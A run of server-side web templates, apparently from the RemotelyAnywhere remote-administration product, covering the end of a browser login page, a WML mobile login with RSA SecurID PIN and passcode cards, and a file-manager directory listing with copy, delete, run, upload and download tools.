if (window.LogMessage) LogMessage("Allocate space for checkbox");
chkRemPassContainer.style.visibility = "hidden";
chkRemPassContainer.style.display    = "";
}

if (ifr.addEventListener)
ifr.addEventListener("load",IFrameLoaded, false);
else if (ifr.attachEvent)
ifr.attachEvent("onload",IFrameLoaded);
else
ifr.setAttribute("onload","IFrameLoaded()");

ifr.setAttribute("src", "https://&WEBSVC.SITE&/ws/host/AutoLogin/autologin_walletv2.aspx");
}
InitIFrame(); 

//after this timeout we hide autoLogin Loading panel, so it will be surely hidden, even if 
//autologin scripts ar not loaded
var autoLogin_LoadTimeout = 40000;
function OnAutoLoginLoadTimeOut()
{
InterruptAutoLogin();
}
setTimeout("OnAutoLoginLoadTimeOut()", autoLogin_LoadTimeout);

</script> 

<script type="text/javascript" src="js/swfobject.js"></script>
<script type="text/javascript" async src="https://&WEBSVC.SITE&/ws/host/AutoLogin/autologin_clientscriptsv2.aspx"></script>
<script type="text/javascript">
<?if TRYAUTOLOGIN=1?>
ShowAutoLoginLoading();
<?endif?>
if (window.autologinStyle)
{
autologinStyle.parentNode.removeChild(autologinStyle);
}
</script>

<?endif?>
<?endif?>
<?endif?>

<?include "customlogo.html"?>

<?if not USERNAME and RSASTATE = "0" and not SSL and SSLOK?>
<br><br>
<table border=0>
<tr>
<td><img src="/img/ico_noenc.png?bg=%COLOR.DlgBack%" width="32" height="32" border="0"></td>
<td><b>&MSG.LOGIN.NOTUSINGSSL&</b></td>
</tr>
</table>
<?endif?>

<?if BRAND.LOGMEIN and not LORES?></td></tr></table><?endif // vertical centering table/cell end?>
</center>
</form>
<script language="JavaScript">
<!--
function formFocus() {
var form = document.forms.loginform;
if (form && (!document.getElementById("loginstuff") || (document.getElementById("loginstuff").style.visibility != "hidden" && document.getElementById("loginstuff").style.display != "none"))) {
if (form.username && form.username.focus && form.password && form.password.focus)
{
<? // Using "autofocus" html5 feature replaced this in the standard login. Do the same for the others. ?>
}
else if (form.password && form.password.focus)
{
form.password.focus();
}
else if (form.rsaid && form.rsaid.focus && form.rsaid.value == "")
{
form.rsaid.focus();
}
else if (form.passcode && form.passcode.focus)
{
form.passcode.focus();
}
else if (form.nexttoken && form.nexttoken.focus)
{
form.nexttoken.focus();
}
else if (form.pin && form.pin.focus)
{
form.pin.focus();
}
else if (form.ppwdc1 && form.ppwdc1.focus)
{
form.ppwdc1.focus();
}
}
}

function flipDivs() {
if (document.getElementById) {
var logindiv = document.getElementById("logindiv");
var workingdiv = document.getElementById("workingdiv");
var chatdiv = document.getElementById("chatstuff");
if (logindiv && workingdiv ) {
logindiv.style.display = "none";
if (chatdiv)
chatdiv.style.display = "none";
workingdiv.style.display = "block";
logindiv = document.getElementById("loginstuff");
if (logindiv) {
logindiv.style.display = "none";				
}
}
}
}

function flipLoginBtnText(bChat) {
if (document.getElementById){
var loginbtn = document.getElementById("loginid");
if (loginbtn) {
if (bChat){loginbtn.value = "&MSG.LOGIN.CHAT&";} else { loginbtn.value = "&MSG.LOGIN.SUBMIT&";}	            
}
var ntlmbtn = document.getElementById("ntlmid");
if (ntlmbtn) {
if (bChat){ntlmbtn.value = "&MSG.LOGIN.CHAT&";} else { ntlmbtn.value = "&MSG.LOGIN.SUBMIT&";}	            
}	        
}
gbChat = bChat;
}

<?if STOPPING?>
var img;
var t = null;

setDisabled(true);
imgError();

function setDisabled(b) {
if(b) {
winHide("loginstuff");
winHide("chatstuff");
}
else {
winShow("loginstuff");
winShow("chatstuff");
formFocus();
}
}

function tryToLoad() {
img = new Image();
img.onload = imgLoaded;
img.onerror = imgError;
img.src = "img/hasrestarted.bmp?startup=%REQ.STARTUPTIME%&t=" + new Date().getTime();
}

function imgLoaded() {
window.location.replace('$TEMPLATE$');
}

function imgError() {
clearTimeout(t);
t = setTimeout("tryToLoad()", 5000);
}
<?else?>
formFocus();
<?endif?>
//-->
</script>
<?
set session BGCACHED = "1"
if REQ.LOGOUT and not REQ.REASON = "timedout"
action "logout"
endif
?>
<?include "webkeepalive.html"?>
</body>
</html>
jQ"default.wml$PS<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<?nocache?>
<?if REQ.LANG?><?set session LANG=REQ.LANG?><?endif?>
<wml>
<?if REQ.LOGIN // form submittal?>
<?
action "login"

// successful login?
set LOGGEDIN = ""
if USERNAME // successful login
if RSASTATE = "0"
set LOGGEDIN = "1"
endif
endif
?>

<?
set LINK = "www.remotelyanywhere.com"
if LOGGEDIN?>
<?action "actions" // which actions do we have access to?>
<?if LICENSE.VALID?><?redirect "/main.wml?rasid=" RASID "&" RND?><?endif?>
<card id="errorlic" title="&MSG.DIALOG.ERROR&" newcontext="true">
<p align="center"><?&MSG.LOGIN.AUTH?></p>
<p><?&MSG.CONFIG.LICENSE.ERROR.UNKNOWN.FAILURE?></p>
</card>
<?else // login error or message ?>
<?if WINERRMSG?>
<card id="error" title="&MSG.DIALOG.ERROR&" newcontext="true">
<do type="accept" label="&MSG.DIALOG.CONTINUE&"><go href="#login"/></do>
<p align="center">
<?&MSG.DIALOG.ERROR?>: <?&WINERRMSG?><br/>
<anchor><?&MSG.DIALOG.CONTINUE?><go href="#login"/></anchor>
</p>
</card>
<?elseif RSAERRMSG?>
<card id="errorrsa" title="&MSG.LOGIN.RSA.NAME&" newcontext="true">
<do type="accept" label="&MSG.DIALOG.CONTINUE&"><go href="#login"/></do>
<p align="center">
<?&MSG.LOGIN.RSA.ERROR:RSAERRMSG?><br/>
<anchor><?&MSG.DIALOG.CONTINUE?><go href="#login"/></anchor>
</p>
</card>
<?endif?>
<?endif?>
<?else?>
<?
// we should show the splash screen here, but some agents
// such as the BlackBerry RIM series have trouble getting
// through it, so we just skip the logo for them
if HTTP.USERAGENT hasnt "BlackBerry"
set SPLASH="1"
endif
?>
<?endif?>

<?if SPLASH // need a splash screen?>
<card id="splash" ontimer="#login" title="&MSG.LOGIN.WELCOME&" newcontext="true">
<timer value="30"/>
<p align="center">
<do type="accept" label="&MSG.DIALOG.CONTINUE&"><go href="#login"/></do>
<img src="img/rabanner.wbmp" alt="&PRODUCTNAME&"/>
<br/>
<anchor><?&MSG.DIALOG.CONTINUE?><go href="#login"/></anchor>
</p>
</card>
<?endif?>

<?if not USERNAME?>
<?// User name & password ?>	
<card id="login" title="&SRVNAME&" newcontext="true"> 
<p align="center"><?&MSG.LOGIN.AUTH?></p>
<p>
<?&MSG.LOGIN.USER?>:<input type="text" format="*M" maxlength="30" size="20" name="username" title="&MSG.LOGIN.USER&:"  value="&REQ.USERNAME&"/><br/>
<?&MSG.LOGIN.PASS?>:<input type="password" format="*M" maxlength="30" size="20" name="password" title="&MSG.LOGIN.PASS&:"/><br/>
<?if IsNT?>
<?if ISDOMAINMEMBER?>
<?&MSG.LOGIN.DOMAIN?>:<input type="text" format="*M" maxlength="30" size="20" name="domain" title="&MSG.LOGIN.DOMAIN&:" value="&REQ.DOMAIN&" /><br/>
<?endif?>
<?endif?>
</p>
<p align="center">
<anchor><?&MSG.LOGIN.SUBMIT?>
<go href="&TEMPLATE&" method="get">
<postfield name="username" value="$(username)"/>
<postfield name="password" value="$(password)"/>
<?if IsNT?>
<postfield name="domain" value="$(domain)"/>
<?endif?>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
</card>
<?else // USERNAME?>
<?// RSA SecurID authentication ?>

<?switch RSASTATE?>
<?case "2" // RSA_PASSCODE?>
<?// RSA User ID and PASSCODE ?>
<card id="login" title="&SRVNAME&" newcontext="true">
<p align="center"><?&MSG.LOGIN.RSA.AUTH?></p>
<p>
<?&MSG.LOGIN.RSA.USERID?>:
<?if RSAEQNAME?>
<?&RSAID?>
<?else?>
<input type="text" format="*M" maxlength="30" size="20" name="rsaid" title="&MSG.LOGIN.RSA.USERID&:" value="&RSAID&"/>
<?endif?>
<br/>
<?&MSG.LOGIN.RSA.PASSCODE?>:<input type="password" format="*M" maxlength="30" size="20" name="passcode" title="&MSG.LOGIN.RSA.PASSCODE&:"/>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.OK?>
<go href="&TEMPLATE&" method="get">
<?if not RSAEQNAME?>
<postfield name="rsaid" value="$(rsaid)"/>
<?endif?>
<postfield name="passcode" value="$(passcode)"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
<p><?&MSG.LOGIN.RSA.PASSCODENOTE?></p>			
</card>

<?case "3" // RSA_NEXTTOKEN?>
<?// Next RSA token code ?>
<card id="login" title="&SRVNAME&" newcontext="true">
<p align="center"><?&MSG.LOGIN.RSA.AUTH?></p>
<p>
<?&MSG.LOGIN.RSA.NEXTTOKENCODE?><br/>
<?&MSG.LOGIN.RSA.TOKENCODE?>:<input type="password" format="*M" maxlength="30" size="20" name="nexttoken" title="&MSG.LOGIN.RSA.TOKENCODE&:"/>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.OK?>
<go href="&TEMPLATE&" method="get">
<postfield name="nexttoken" value="$(nexttoken)"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
</card>

<?case "4" // RSA_NEWPIN?>
<?// New user assigned PIN code ?>
<card id="login" title="&SRVNAME&" newcontext="true">
<p align="center"><?&MSG.LOGIN.RSA.AUTH?></p>
<p>
<?if DIGIPIN?>
<?if MINPIN=MAXPIN?>
<?&MSG.LOGIN.RSA.NEWPIN?>
<?else?>
<?&MSG.LOGIN.RSA.NEWPINV?>
<?endif?>
<?else?>
<?if MINPIN=MAXPIN?>
<?&MSG.LOGIN.RSA.NEWPINAN?>
<?else?>
<?&MSG.LOGIN.RSA.NEWPINANV?>
<?endif?>
<?endif?>
</p>
<?if RSACANGENPIN?>
<?// Accept system generated PIN? ?>
<p align="center">
<anchor>*<?&MSG.LOGIN.RSA.GENERATEPIN?>
<go href="&TEMPLATE&" method="get">
<postfield name="genpin" value="1"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor><br/>
<anchor><?&MSG.LOGIN.RSA.ENTERPIN?><go href="#enterpin" method="get"/></anchor><br/>
<anchor><?&MSG.DIALOG.CANCEL?>
<go href="&TEMPLATE&" method="get">
<postfield name="cancel" value="1"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
<p>*<?&MSG.LOGIN.RSA.SYSPINNOTE?></p>
<?else // RSACANGENPIN?>
<?// The user must supply a new PIN ?>
<p>
<?&MSG.LOGIN.RSA.PIN?><input type="password" format="<?if DIGIPIN?>*N<?else?>*M<?endif?>" maxlength="&MAXPIN&" size="&MAXPIN&" name="pin" title="&MSG.LOGIN.RSA.PIN&"/><br/>
<?&MSG.LOGIN.RSA.PINCONFIRM?><input type="password" format="<?if DIGIPIN?>*N<?else?>*M<?endif?>" maxlength="&MAXPIN&" size="&MAXPIN&" name="pinconfirm" title="&MSG.LOGIN.RSA.PINCONFIRM&"/><br/>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.OK?>
<go href="&TEMPLATE&" method="get">
<postfield name="pin" value="$(pin)"/>
<postfield name="pinconfirm" value="$(pinconfirm)"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor><br/>
<anchor><?&MSG.DIALOG.CANCEL?>
<go href="&TEMPLATE&" method="get">
<postfield name="cancel" value="1"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
<?endif // RSACANGENPIN?>
</card>

<?if RSACANGENPIN?>		
<card id="enterpin" title="&SRVNAME&" newcontext="true">
<p>
<?&MSG.LOGIN.RSA.PIN?><input type="password" format="<?if DIGIPIN?>*N<?else?>*M<?endif?>" maxlength="&MAXPIN&" size="&MAXPIN&" name="pin" title="&MSG.LOGIN.RSA.PIN&"/><br/>
<?&MSG.LOGIN.RSA.PINCONFIRM?><input type="password" format="<?if DIGIPIN?>*N<?else?>*M<?endif?>" maxlength="&MAXPIN&" size="&MAXPIN&" name="pinconfirm" title="&MSG.LOGIN.RSA.PINCONFIRM&"/><br/>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.OK?>
<go href="&TEMPLATE&" method="get">
<postfield name="pin" value="$(pin)"/>
<postfield name="pinconfirm" value="$(pinconfirm)"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
</card>
<?endif // RSACANGENPIN?>

<?case "5" // RSA_NEWPINSYS?>
<?// ready for system generated pin? ?>
<card id="login" title="&SRVNAME&" newcontext="true">
<p align="center"><?&MSG.LOGIN.RSA.AUTH?></p>
<p><?&MSG.LOGIN.RSA.NEWPINSYS?></p>
<p align="center">
<anchor><?&MSG.DIALOG.OK?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor><br/>
<anchor><?&MSG.DIALOG.CANCEL?>
<go href="&TEMPLATE&" method="get">
<postfield name="cancel" value="1"/>
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
</card>

<?case "6" // RSA_NEWPINDISP?>
<?// display system generated pin ?>
<card id="login" title="&SRVNAME&" newcontext="true">
<onevent type="ontimer">
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</onevent>
<timer value="100"/>
<do type="accept" label="&MSG.DIALOG.CONTINUE&">
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</do>
<p>
<?&MSG.LOGIN.RSA.NEWPINDISP?><br/>
<?&MSG.LOGIN.RSA.NEWPINDISPNOTE?>
</p>
<p align="center">
<anchor><?&MSG.DIALOG.CONTINUE?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
<postfield name="login" value="1"/>
</go>
</anchor>
</p>
</card>

<?endswitch // RSASTATE?>	
<?endif // USERNAME?>
</wml> 
Udir.htmlGVz<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<?
// anything to do before listing?
switch REQ.ACTION
case "cpy"
action "filecopy"
case "cut"
action "filecut"
case "pst"
action "filepaste"
case "del"
action "filedel"
case "mkd"
action "mkdir"
case "ren"
action "fileren"
case "run"
action "filerun"
case "atr"
action "attrget"
case "setattr"
action "attrset"
case "setdata" // called from file.html
action "fileset"
case "fnd"
action "filefind" REQ.FIND = REQ.NEW
case default:
if not REQ.DIR
redirect "/drives.html"
endif
endswitch
usemacro WINERRDLG()

// set default sorting
if not REQ.SORT
// by name, ascending
set REQ.SORT = "na"
endif

action "drivelist" REQ.SCAN="none" // names and types only
if REQ.ACTION != "fnd"
action "filelist" REQ.SCAN="ver,perm,owner,share"
endif
usemacro WINERRDLG()
?>

<script language="JavaScript">

function doSort(sortby) {
document.forms.go.sort.value = sortby;
document.forms.go.submit();
}

var find = <?if REQ.FIND?>true<?else?>false<?endif?>;
var files = new Array();
var trows = null;
var	i = 1;
function addTip(o, name, value) {
if (value != "") o.tip += "<b>"+htmlEncode(name)+"</b> "+htmlEncode(value)+"<br>";
}
function addFile(isdir, name, share<?if CFG.TOOLTIPS>0?>, ver, size, attr, dtc, dtm, dta, perm, owner<?endif?>) {
var o = new Object();
o.isdir = isdir;
o.name = name;
o.share = share;
<?if CFG.TOOLTIPS>0?>
o.tip = "";
addTip(o, "$MSG.NAME$:", name);
addTip(o, "$MSG.VERSION$:", ver);
addTip(o, "$MSG.DRIVE.VSIZE$:", size);
addTip(o, "$MSG.DRIVE.SHARED$:", share);
addTip(o, "$MSG.DRIVE.ATTR$:", attr);
addTip(o, "$MSG.DRIVE.TIMEC$:", dtc);
addTip(o, "$MSG.DRIVE.TIMEM$:", dtm);
addTip(o, "$MSG.DRIVE.TIMEA$:", dta);
addTip(o, "$MSG.DRIVE.PERM$:", perm);
addTip(o, "$MSG.DRIVE.OWNER$:", owner);
<?endif?>
files[i++] = o;
}
<?enum FILES?>
addFile(<?if FILE.TYPE="folder"?>1<?else?>0<?endif?>,"$FILE.NAME$","$FILE.SHARE$"<?if CFG.TOOLTIPS>0?>,"$FILE.VER$","<?$FILE.SIZE_sz?>","$FILE.ATTR$","<?$FILE.TIMEC_dtml?>","<?$FILE.TIMEM_dtml?>","<?$FILE.TIMEA_dtml?>","$FILE.PERM$","$FILE.OWNER$"<?endif?>);
<?next?>

function tool(img) {
// ignore if the tool is disabled?
if (img.src.indexOf('_off.') >= 0  ||  dialogShowing) return false;
// ignore if list is not completely loaded
if (trows == null) return false;
// get selected items
var	selrows = trows.getSelectedIndexes();
var	url = "";
if (!img.id) {
alert("Unknown button!");
}
// rename file
else if (img.id == 'toolren') {
var name = files[selrows[0]].name;
document.forms.NameForm["new"].value		= name;
document.forms.NameForm["file"].value		= name;
document.forms.NameForm["action"].value	= "ren";
document.forms.NameForm["submit"].value	= "$MSG.DRIVE.TIP.Rename$";
showDlg("NameDlg",1);
document.forms.NameForm["new"].select();
}
// delete files
else if (img.id == 'tooldel') {
if (!confirm("$MSG.DRIVE.SUREDELETE1$ "+selrows.length+" $MSG.DRIVE.SUREDELETE2$"))
return false;
url = "$TEMPLATE$?action=del";
}
// paste files
else if (img.id == 'toolpst') {
go("$TEMPLATE$?action=pst&dir=" + encodeURIComponent("$DIR.PATH$"));
}
// edit file
else if (img.id == 'tooledt') {
url = "file.html?";
}
// change permissions
else if (img.id == 'toolprm') {
url = "acledit.html?back=" + encodeURIComponent("$TEMPLATE$?dir=" + encodeURIComponent("$DIR$"));
}
// new folder
else if (img.id == 'toolnew') {
document.forms.NameForm["new"].value		= "New Folder";
document.forms.NameForm["file"].value		= "";
document.forms.NameForm["action"].value	= "mkd";
document.forms.NameForm["submit"].value	= "$DIALOG.Create$";
showDlg("NameDlg",1);
document.forms.NameForm["new"].select();
}
// download files
else if (img.id == 'tooldld') {
url = "/download/?"
}
// upload files
else if (img.id == 'tooluld') {
showDlg("UplDlg",1);
}
// find files
else if (img.id == 'toolfnd') {
document.forms.NameForm["new"].value		= "*.*";
document.forms.NameForm["action"].value	= "fnd";
document.forms.NameForm["submit"].value	= "$MSG.DRIVE.TIP.Find$";
document.forms.NameForm["dir"].value	= "$REQ.DIR$";
showDlg("NameDlg",1);
document.forms.NameForm["new"].select();
}
// sharing properties
else if (img.id == 'toolshr') {
go('dirshare.html?dir=' + encodeURIComponent('$DIR.PATH$') + '&share=' + encodeURIComponent('$DIR.SHARE$'));
}
// anything else
else if (img.id.substr(0, 4) == 'tool') {
url += "$TEMPLATE$?action=" + encodeURIComponent(img.id.substr(4));
if (img.id == 'toolatr') {
// check if dir is selected
for (var i = 0; i < selrows.length; i++) {
if (files[selrows[i]].isdir == "1") {
url += "&sub=1";
break;
}
}
}
}
// got a url to build?
if (url.length > 0 && selrows.length > 0) {
// add all file names
url += "&dir=" + encodeURIComponent("$DIR.PATH$");
for (var i = 0; i < selrows.length; i++) {
url += "&file=" + encodeURIComponent(files[selrows[i]].name);
}
go(url);
}
}
var chkt = null;
function chk() {
clearTimeout(chkt);
chkt = setTimeout("chkToolbar()", 100);
}
var dialogShowing = false;
var pageUnloading = false;
function chkToolbar() {
var	sel = (trows ? trows.getSelectedIndexes() : new Array());
var nf = 0; // number of files selected
var nd = 0; // number of dirs selected
var np = 0; // parent dir selected
for (var i = 0; i < sel.length; i++) {
if (files[sel[i]].name == '..') np++;
if (files[sel[i]].isdir) nd++; else nf++;
}
var dlg = (!dialogShowing && !pageUnloading);
var fle = (nf > 0 || nd > 0) && !np;
imgOn("tooldel", fle);
imgOn("toolcpy", fle);
imgOn("toolcut", fle);
imgOn("toolpst", <?if CLIP?>dlg<?else?>false<?endif?> && !find);
imgOn("toolren", fle && (nf + nd == 1));
imgOn("tooledt", fle && (nf == 1 && nd == 0));
imgOn("toolatr", fle);
imgOn("toolprm", fle && (nf == 0 || nd == 0));
imgOn("toolrun", fle && (nf == 1 && nd == 0));
imgOn("toolnew", true);
imgOn("tooluld", true);
imgOn("tooldld", fle);
imgOn("toolfnd", true);
imgOn("toolshr", true);
}
function showDlg(div, show) {
if ( (show && !dialogShowing) || !show ) {
dialogShowing = show;
chkToolbar();
winShow( div, show );
document.getElementById("driveletterid").disabled = show;
}
}
function tipFile(e,idx) {
<?if CFG.TOOLTIPS>0?>
if (idx && !pageUnloading)
showTip(e,files[idx].tip,false,'TR');
<?endif?>
}
function go(url) {
// add CSRF token to each URL
url += "&token=" + "$CSRFTOKEN$";
pageUnloading = true;
chkToolbar();
window.location = url + "&$RND$";
}
function goDir(path) {
go('$TEMPLATE$?dir=' + encodeURIComponent(path) + "&sort=$REQ.SORT$");
}
function openFile(idx) {
if (files[idx].isdir) {
goDir("$DIR.PATH$\\" + files[idx].name);
} else {
go("file.html?dir=" + encodeURIComponent("$DIR.PATH$") + "&file=" + encodeURIComponent(files[idx].name)) + "&allowdl=1";
}
}
function imgOn(id, on) {
var img = document.images[id];
var idx = img.src.indexOf('_off.');
if (on) {
if (idx >= 0) {
img.src = img.src.substr(0, idx) + img.src.substr(idx + 4);
}
img.style.cursor = <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>"hand"<?else?>"pointer"<?endif?>;
img.style.disabled = "false";
} else {
if (idx < 0) {
idx = img.src.indexOf('.');
if (idx >= 0) {
img.src = img.src.substr(0, idx) + '_off' + img.src.substr(idx);
}
}
img.style.cursor = "default";
img.style.disabled = "true";
}
}
function popTree() {
dirTree("$DIR.PATH$", "goDir");
}
</script>
<?include "dirtree.inc"?>

<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5); trows = new SelectableTableRows(document.getElementById('flist'), false); chk();">
<div id="info" class="window">
<?if not UITYPE="LMI"?><div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MENU.FILEMAN?></span></div><?endif?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<?if not UITYPE="LMI"?><a href="title.html?favname=%MENU.FILEMAN%%20%28%DIR%%29&favicon=menu_openfolder.png&favargs=%TEMPLATE%%3fdir%3d%REQ.DIR%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a><?endif?>
<a href="&TEMPLATE&?dir=%DIR.PATH%&sort=%REQ.SORT%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="&TEMPLATE&?sort=%REQ.SORT%&dir=%DIR.PARENT%&%RND%"><img src="img/ico_parent.gif" border="0" title="&MSG.DIALOG.PARENT&"></a>
<a href="&TEMPLATE&?sort=%REQ.SORT%&%RND%"><img src="img/ico_home.gif" border="0" title="&MSG.DIALOG.ROOT&"></a>
<a href="javascript:popTree()"><img src="img/ico_browse.gif" border="0" title="&MSG.DIALOG.BROWSE&"></a>
</div>
<div class="buttonGroup">
<img id="tooldel" onclick="tool(this)" src="img/ico_delete_off.gif" title="&MSG.DIALOG.DELETE&" border="0">
<img id="toolcpy" onclick="tool(this)" src="img/ico_copy_off.gif" title="&MSG.DRIVE.TIP.COPY&" border="0">
<img id="toolcut" onclick="tool(this)" src="img/ico_cut_off.gif" title="&MSG.DRIVE.TIP.CUT&" border="0">
<img id="toolpst" onclick="tool(this)" src="img/ico_paste_off.gif" title="&MSG.DRIVE.TIP.PASTE&" border="0">
<img id="toolren" onclick="tool(this)" src="img/ico_rename_off.gif" title="&MSG.DRIVE.TIP.RENAME&" border="0">
<img id="tooledt" onclick="tool(this)" src="img/ico_edit_off.gif" title="&MSG.DIALOG.EDIT&" border="0">
<img id="toolatr" onclick="tool(this)" src="img/ico_prop_off.gif" title="&MSG.DRIVE.TIP.EDITATTR&" border="0">
<img id="toolprm" onclick="tool(this)" src="img/ico_perm_off.gif" title="&MSG.ACL.EDIT&" border="0">
<img id="toolrun" onclick="tool(this)" src="img/ico_exec_off.gif" title="&MSG.DRIVE.TIP.EXECUTE&" border="0">
</div>
<div class="buttonGroup">
<img id="toolnew" onclick="tool(this)" src="img/ico_new.gif" title="&MSG.DRIVE.TIP.CREATEDIR&" border="0">
<img id="tooluld" onclick="tool(this)" src="img/ico_upload.gif" title="&MSG.DRIVE.TIP.UPLOAD&" border="0">
<img id="tooldld" onclick="tool(this)" src="img/ico_download_off.gif" title="&MSG.DRIVE.TIP.DOWNLOAD&" border="0">
<img id="toolfnd" onclick="tool(this)" src="img/ico_find.gif" title="&MSG.DRIVE.TIP.FIND&" border="0">
<img id="toolshr" onclick="tool(this)" src="img/ico_share.gif" title="&MSG.DRIVE.TIP.SHARING&" border="0">
</div>
<div class="buttonGroup">
<form name="go" style="display:inline" action="&TEMPLATE&" method="get">
<input type="text" name="dir" value="&DIR&" size="30" onfocus="this.select()" title="&MSG.DRIVE.TIP.GO&"><?usemacro BrowseButton("document.forms.go.dir.value")?>
<input type="submit" value="&MSG.GO&" title="&MSG.DRIVE.TIP.GO&">
<input type="hidden" name="sort" value="&REQ.SORT&">
</form>
</div>
</div>

<table width="100%" style="border-style:solid">
<tr>
<!-- PATH -->
<th align="left">
<?if REQ.FIND ?>
<a href="javascript:goDir('$REQ.DIR$')" title="Clear search"><img
src="img/ico_find.gif" width="26" height="26" align="middle"
border="0"><?&REQ.DIR?> \ <?&REQ.FIND?></a>
<?else?>
<?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.TblTtlBack%&path=%DIR%&size=16&bg=%COLOR.DlgBack%" align="middle"><?endif?>
<?enum PATH?>
<a href="javascript:goDir('$PATH.FULL$')" title="&MSG.DRIVE.TIP.GO&">&PATH.PART&</a> \
<?next?>
<?endif?>
</th>
<th align="right">
<!-- DRIVES -->
<select name="driveletter" size="1" onchange="goDir(this.options[this.selectedIndex].text)" id="driveletterid">
<?enum DRIVES?><option <?selected DIR has DRIVE.NAME?>>&DRIVE.NAME&<?next?>
</select>
</th>
</tr>
</table>

<div id="infoArea" class="scrollableDataArea">
<br>
<table width="99%" cellpadding=0 cellspacing=0>
<tr>
<td width="10%"></td>
<td width="80%">
<table id="flist" class="inner" width="100%">
<col width="20" ><!--icon-->
<col width="*"  ><!--name-->
<col style="width:16ex"><!--size-->
<col style="width:28ex"><!--time-->
<!-- HEADER -->
<thead>
<tr class="ttd">

<td colspan=2>
<?usemacro SORTABLETH("na", "nd", MSG.NAME)?>
</td>
<td>
<?usemacro SORTABLETH("sa", "sd", MSG.DRIVE.VSIZE)?>
</td>
<td>
<?usemacro SORTABLETH("ma", "md", MSG.DRIVE.TIMEM)?>
</td>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?if FILES?>
<?enum FILES?>
<tr onmouseover="tipFile(event,&ENUM.INDEX&)" onclick="chk()" ondblclick="openFile(&ENUM.INDEX&)">
<?if FILE.TYPE="folder"?>
<td class="ico16"><?if CFG.USEICONS>0?><?if FILE.NAME=".."?><?set ICO="ico_parent.png"?><?elseif FILE.SHARE?><?set ICO="ico_share.png"?><?else?><?set ICO="menu_folder.png"?><?endif?><img src="img/&ICO&?bg=%COLOR.DlgBack%"><?endif?></td>
<td nowrap><a href="/download/?dir=%DIR%&file=%FILE.NAME%" onclick="return false"><?&FILE.NAME _mx30?></a></td>
<td class="num">&lt;&MSG.DRIVE.DIR&&gt;</td>
<?else?>
<?if CFG.USEICONS=0?>
<td></td>
<?elseif FILE.EXT="exe" or FILE.EXT="lnk"?>
<td class="ico16"><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%FILE.PATH%&size=16"></td>
<?else?>
<td class="ico16"><img src="fileicon.png?bg=%COLOR.DlgBack%&type=.%FILE.EXT%&size=16"></td>
<?endif?>
<td nowrap><a href="/download/%FILE.PATH%" onclick="return false"><?&FILE.NAME _mx33?></a></td>
<td class="num"><?&FILE.SIZE _szk?></td>
<?endif?>
<td nowrap align=right><?&FILE.TIMEM _dtms?></td>
</tr>
<?next?>
<?else?>
&WINERRMSG&
<?endif?>
</tbody>
<!-- FOOTER -->
<tfoot>
<tr>
<td class="ico16">&#931;</td>
<td><?&DRIVE.SUM?></td>
<td class="num"><?&FILES.SIZE _szk?></td>
<td>&nbsp;</td>
</tr>
</tfoot>
</table>
</td>
<td width="10%"></td>
</tr>
</table>
</div>
<br>	
</div>	

<div id="NameDlg" class="subwindow" style="left:90px;top:120px;width:350px;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.MENU.FILEMAN?></span></div>
<center>
<form name="NameForm" action="&TEMPLATE&" method="post">
<table><tr>
<td align="right"><?&MSG.NAME?>:</td><td><input type="input" name="new"></td>
</tr></table><br>
<input type="hidden" name="action" value="">
<input type="hidden" name="dir" value="&DIR.PATH&">
<input type="hidden" name="file" value="">
<input type="hidden" name="token" value="&CSRFTOKEN&">
<input type="submit" name="submit" value="&MSG.DIALOG.Create&" onclick="showDlg('NameDlg',0)">
